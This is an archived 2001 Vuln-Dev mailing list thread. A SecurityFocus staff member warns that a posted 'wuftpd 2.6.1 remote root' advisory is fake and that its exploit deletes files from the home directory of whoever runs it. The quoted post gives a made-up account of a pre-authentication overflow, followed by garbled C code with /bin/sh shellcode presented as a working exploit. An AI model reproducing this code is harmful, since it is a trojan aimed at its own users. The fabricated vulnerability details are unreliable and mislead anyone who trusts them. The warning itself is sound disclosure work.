Vulnerability Development mailing list archives

Re: wuftpd 2.6.1 advisory/exploit


From: Cade Cairns <cairnsc () securityfocus com>
Date: Wed, 19 Sep 2001 09:44:27 -0600 (MDT)

This is not a real advisory.  David Ahmad did a quick analysis of this the
other day.  Do *not* attempt to run this exploit, it will result in the
removal of files from your home directory.

Cade Cairns
Security Focus
http://www.securityfocus.com/

On Wed, 19 Sep 2001, Carolyn Meinel wrote:

Hello,

In the interests of full disclosure, I am posting an exploit that was
developed single-handedly by my good friend Andrew Plughes over the
weekend. I had absolutely no part in the discovery of this serious
vulnerability, so I won't soak in Andrew's credit ;).

I have also mirrored this advisory+exploit on my website:

http://www.techbroker.com/wu261.txt

It's been a pleasure having Andrew as a cohort over the years, and
I'd like to thank him for selflessly dedicating himself to security
research.

We acknowledge a risk involved in submitting exploit code to a
public forum, with the possibility of characters of low demeanour
getting their hands on it. After lengthy discussions, we decided
that the work required to exploit the vulnerability is sufficient
to raise the bar on using it.

Yours truly,

Carolyn Meinel
cmeinel () techbroker com

---

Carolyn, my initial ideas about the vulnerability were not entirely
accurate, but I have confirmed that it -does- indeed exist. I am
enclosing some code that will spawn a remote root shell on vulnerable
systems, although it does require some effort to get it up and running.
It works against some Linux machines Bill gave me access to, and I
suspect it will work against the BSDs (chroot-breaking is not a
problem).

At your request, I have sent the developers the intricate details
of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as
I can see). To outline the vulnerability for Bugtraq:

- The overflow occurs in the pre-authentication stages of the
  client session.

- During the transition to the 2.6.x releases, the wuftpd
  development team redesigned the command processing code
  in the daemon. Earlier releases are not believed to be
  vulnerable to similar problems.

- There is a strncat() cast overflow in the way a signed
  integer derived from a malicious command length is used as
  the third argument in an attempt to confine data within a
  buffer allocated on the stack (they don't believe a command
  containing 1 character will occur). If we make the signed
  integer negative, we are granted the ability to transform the
  third argument to strncat() into a HUGE positive value.
  However, because (signed_integer + 2) is used to dynamically
  allocate memory elsewhere with malloc(), we should set this
  integer to -2, or preferably -1. There will be subsequent
  heap corruption, but this occurs after the stack smash. That
  may be worth looking at too.

- We can only overflow by one byte because of the call to
  exit() that will be made if strlen() flags the string
  as being too large. As luck would have it, the target
  buffer is adjacent to the saved frame pointer in the
  vulnerable function, and we can take advantage of this
  in a similar way to the OpenBSD ftpd vulnerability.

I have sent a patch to the wuftpd developers, but it just
checks for the evil negative integer created indirectly as
a result of the short command. I'm sure the developers will
release a more involved patch within the next few days.

Disable the daemon immediately. While this is not something
that will be easily exploited (my demonstration exploit needs
some work), it is a very serious threat.

--
Andrew Plughes
Network security aficionado / UNIX administrator


/*
 * wu261.c
 * wuftpd 2.6.1 exploit (remote root)
 *
 * Vulnerability and code from Andrew Plughes.
 *
 * Usage: (./wu261 [address]; cat) | nc host 21
 * address = argument location on heap (defeats Openwall)
 *
 * Demonstrates a flaw in the pre-authentication code of
 * wuftpd 2.6.x which allows us to gain control of the
 * target process by displacing a saved frame pointer.
 *
 * Tested against some Linux distributions.
 *
 * I'd like to thank Bill Harrington for providing me
 * with some test boxes.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char linux_x86[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned char *shellcode = linux_x86;


//#define POTS 12                       /* fill these in for your
#define DEF_ALGN 1                       * target system
//#define HEAP_ADDR 0x41414141           */


int main(int argc, char *argv[])
{
        int i;
        unsigned long attack[1028 / 4];

/* redhat 7.0 */
#define ADDR 0x08049588
#define POSITION_OF_THE_STRING 16
#define target (unsigned long)

// unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;

        unsigned long arg_addr = ADDR, align = DEF_ALGN,
        pots = POSITION_OF_THE_STRING;

        if(argc == 2)
        arg_addr = strtoul(argv[1], NULL, 0);

        system("clear");
        fputs("wuftpd 2.6.1 exploit\n", stderr);
        fputs("developed by Andrew Plughes\n", stderr);

        for(i = 0; i < 1028 / 4; i++)
        attack[i] = arg_addr;

        /* trigger the cast overflow with this command */
        sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n"

        /* position of the string */
        for(i = 0; i < 4; i++)
        sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);

        /* function var position */
        pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
        /* set the function var accordingly */
        *(unsigned long *)pots = align;

        /* spaces for the process alignment */
        sprintf((char *)attack+20, "%*s", align % 4, "    ");

        printf("USER %s\r\n", shellcode);
        printf("%s\r\n", attack);
        puts("echo ~ ok, it seems to have worked... remember: \");
        puts("rm -rf is not elite ~");

        exit(0);
}



Current thread: